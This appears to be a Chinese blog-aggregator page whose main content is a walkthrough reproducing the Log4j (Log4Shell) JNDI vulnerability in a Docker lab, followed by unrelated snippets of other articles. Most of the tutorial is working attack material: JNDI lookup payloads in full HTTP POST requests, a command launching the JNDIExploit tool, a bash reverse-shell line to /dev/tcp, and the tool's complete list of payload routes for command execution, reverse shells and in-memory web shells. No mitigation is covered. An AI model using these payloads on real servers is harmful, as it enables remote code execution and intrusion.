网络安全 log4j漏洞复现

news2024/11/24 5:59:02

前言:

log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。

漏洞描述:

由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。

如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。如果这个rmi的内容是删除数据库,重启服务器这种恶意程序,被攻击之后还是趁早跑路吧。(开个玩笑)

关于JNDI:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。

关于RMI:

RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。

log4j简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。
Log4j 1.2 中包含一个 SocketServer 类,该类容易受到不可信数据反序列化的影响,当侦听不可信网络流量以获取日志数据时,该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。
这会影响从 1.2 到 2.14 的 Log4j 版本。

log4j环境搭建

  • log4漏洞环境搭建(需要docker)
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

漏洞检测-dnslog

测试命令

${jndi:ldap://6zb6jy.dnslog.cn}

测试过程中,使用post数据包,添加Content-type:application/x-www-form-urlencoded

POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E35340901
Content-type:application/x-www-form-urlencoded
Connection: close
Content-Length: 33
cmd:whoami

c=${jndi:ldap://6zb6jy.dnslog.cn}

dnslog平台成功回显,证明系统存在log4j漏洞

命令执行

使用JNDI利用工具

java -jar JNDIExploit-1.3-SNAPSHOT-2.jar -i local_ip_address(vps地址)

header:Content-type: application/x-www-form-urlencoded

header:Content-type: application/x-www-form-urlencoded
c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}
cmd:whoami
cmd:bash -i >& /dev/tcp/0.0.0.0/2333 0>&1
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E3534090
Content-type: application/x-www-form-urlencoded
Connection: close
Content-Length: 59
cmd:whoami

c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}

成功执行命令并回显

正在上传…重新上传取消

//JNDIExploit-1.3-SNAPSHOT-2.jar 工具存在的paylaod
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
    ldap://0.0.0.0:1389/Basic/Command/[cmd]
    ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/Basic/TomcatEcho
    ldap://0.0.0.0:1389/Basic/SpringEcho
    ldap://0.0.0.0:1389/Basic/WeblogicEcho
    ldap://0.0.0.0:1389/Basic/TomcatMemshell1
    ldap://0.0.0.0:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
    ldap://0.0.0.0:1389/Basic/JettyMemshell
    ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
    ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
    ldap://0.0.0.0:1389/Basic/JBossMemshell
    ldap://0.0.0.0:1389/Basic/WebsphereMemshell
    ldap://0.0.0.0:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
    ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
    ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
    ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
    ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3  /ateam  pass1024
    ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
    ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/663528.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Gof23设计模式之简单工厂/静态工厂模式

在java中,万物皆对象,这些对象都需要创建,如果创建的时候直接new该对象,就会对该对象耦合严重,假如我们要更换对象,所有new对象的地方都需要修改一遍,这显然违背了软件设计的开闭原则。如果我们…

工地临边防护缺失识别检测算法 opencv

工地临边防护缺失识别检测系统通过opencvpython网络模型技术,工地临边防护缺失识别检测算法检测到没有按照要求放置临边防护设备时,将自动发出警报提示现场管理人员及时采取措施。Python是一门解释性脚本语言,是在运行的时候将程序翻译成机器…

PaddleOCR #使用PaddleOCR进行光学字符识别 - OCR飞桨实验

引言: PaddleOCR 是一个 OCR 框架或工具包,它提供多语言实用的 OCR 工具,帮助用户在几行代码中应用和训练不同的模型。PaddleOCR 提供了一系列高质量的预训练模型。这包含三种类型的模型,使 OCR 高度准确并接近商业产品。它提供文…

SPI(Serial Perripheral Interface)

SPI全称是Serial Perripheral Interface,也就是串行外围设备接口。SPI是Motorola公司推出的一种同步串行接口技术,是一种高速、全双工的同步通信总线,SPI时钟频率相比I2C要高很多,最高可以工作在上百MHz。SPI以主从方式工作&#…

Fiddler抓包工具之Fiddler+willow插件应用

安装 Fiddler的安装包地址:fillderwillow 解压后安装fiddler4和willow1.4.*版本。 安装成功后,启动fiddler后会出现willow插件按钮: 说明安装成功。 重定向 willow重定向 进入willow界面后,通过右键->Add Project ->Add R…

Compose 嵌套滑动冲突的解决办法

前言 在最近我利用业余时间使用 Compose 写的 Gihub APP 中,它的首页结构是这样的: 采用了 Drawer 嵌套 Pager 的结构。 这就会出现一个问题,那就是 Drawer 和 Pager 都需要监听横向滑动手势,从而实现展开 Drawer 和 切换 Pager…

C#TryCatch用法

前几天一个学员在学习C#与TryCatch用法时,也不知道TryCatch用法装可以用来做什么 。下面我们就详细讲讲C# 和封TryCatch用法相关知识。 C# 是一种通用、类型安全且面向对象的编程语言,由微软开发并在 .NET 平台上运行。TryCatch 是 C# 语言中的一个结构&#xff0c…

PYTHON在数据保存csv时文件内容乱码了怎么解决?

目录标题 前言问题1. 在打开 CSV 文件时指定编码方式2. 将数据转换成 Unicode 编码尾语 前言 嗨喽,大家好呀~这里是爱看美女的茜茜呐 问题 如果你的 Python 程序采集到的数据在保存成 CSV 格式的文件时出现了乱码。 那么可尝试以下解决方法: 1. 在打…

MySQL数据库——索引、事务、存储引擎

MySQL 索引 索引的概念 索引是一个排序的列表,在这个列表中存储着索引的值和包含这个值的数据所在行的物理地址(类似于C语言的链表通过指针指向数据记录的内存地址)。使用索引后可以不用扫描全表来定位某行的数据,而是先通过索引…

一个项目的测试计划模板该怎么写?【附案例】

目录 一、引言 二、测试任务 三、测试进度 四、测试资源 五、测试策略 六、测试完成标准 七、风险和约束 八、问题严重程度描述和响应时间规范 九、测试的主要角色和职责 软件测试是使用人工或者自动的手段来运行或者测定某个软件系统的过程,其目的在于检验…

Python进阶语法之异常处理

Python进阶语法之异常处理 在编写Python程序时,经常会遇到各种运行时错误,这些错误会导致程序终止并抛出异常。然而,有时我们希望程序能优雅地处理这些错误,而不是直接崩溃。在这种情况下,我们需要使用到Python的异常…

Vue中如何进行分布式存储与对象存储

Vue中如何进行分布式存储与对象存储 随着云计算和大数据时代的到来,分布式存储和对象存储越来越受到关注。在Vue中,我们可以使用不同的分布式存储和对象存储技术来存储和管理数据。本文将介绍Vue中如何进行分布式存储和对象存储。 什么是分布式存储&…

OpenGL 混合

1.简介 混合(Blending)通常是实现物体透明度的一种技术。透明就是说一个物体(或者其中的一部分)不是纯色(Solid Color)的,它的颜色是物体本身的颜色和它背后其它物体的颜色的不同强度结合。 2.丢弃片段 只想显示草纹理的某些部分&#xff0…

TDesign电商小程序模板解析01-自定义底部导航栏

目录 1 电商模板安装2 创建页面3 创建底部导航条总结 我们已经利用了两篇文章解读了一下微信小程序带的TDesign模板 TDesign小程序组件库01 TDesign小程序组件库02 入门一款前端组件库,如果挨个去看每个组件的用法未免比较枯燥,即使看懂了其实离实际开发…

从零开始 Spring Boot 44:Test

从零开始 Spring Boot 44&#xff1a;Test 图源&#xff1a;简书 (jianshu.com) 本篇文章我们讨论如何在 Spring 项目中编写测试用例。 当前使用的是 Spring 6.0&#xff0c;默认集成 JUnit 5。 依赖 Spring Boot 的测试功能需要以下依赖&#xff1a; <dependency><…

数据中心机柜PDU应该怎么选?

数据中心是国家确定的“新基建”七大领域之一。数据中心在国民经济和社会发展中所起的作用越来越重要&#xff0c;数据中心已经成为了各行各业的关键基础设施&#xff0c;为经济转型升级提供了重要支撑。在庞杂的数据中心&#xff0c;服务器和交换器担负着传输数据的重要责任&a…

【论文阅读-人机交互】通过用户参与来缓解人工智能决策中的知识失衡问题

Title: Mitigating knowledge imbalance in AI-advised decision-making through collaborative user involvement From: International Journal of Human - Computer Studies Link: https://doi.org/10.1016/j.ijhcs.2022.102977 目录 1 绪论2 方法2.1 假设2.2. 实验任务及研究…

【单片机】STM32F103C8T6 最小系统板原理图

STM32F103C8T6是一款基于ARM Cortex-M3内核的32位微控制器&#xff0c;由STMicroelectronics&#xff08;ST&#xff09;公司生产。它是STMicroelectronics的STM32系列微控制器中的一员&#xff0c;被广泛应用于嵌入式系统和电子设备中。 STM32F103C8T6单片机的主要特点和资源…

点云深度学习系列博客(七): 针对点云的数据增强技术

好长时间不更新博客了&#xff0c;入职以后突然就变忙了&#xff0c;确实有心无力。最近做一个点云数据增强的项目&#xff0c;搞了一个简单的前期调研&#xff0c;趁着最近几天不太忙&#xff0c;凑一篇博客出来&#xff0c;保一下博客专家资格... 一. 简介 我们在利用深度学…

TDesign电商小程序模板解析02-首页功能

目录 1 home.json2 goods-list组件3 goods-card组件总结 上一篇我们搭建了底部的导航条&#xff0c;这一篇来拆解一下首页的功能。首页有如下功能 可以进行搜索显示轮播图横向可拖动的页签图文卡片列表 1 home.json 因为是要使用组件库的组件搭建页面&#xff0c;自然是先需要…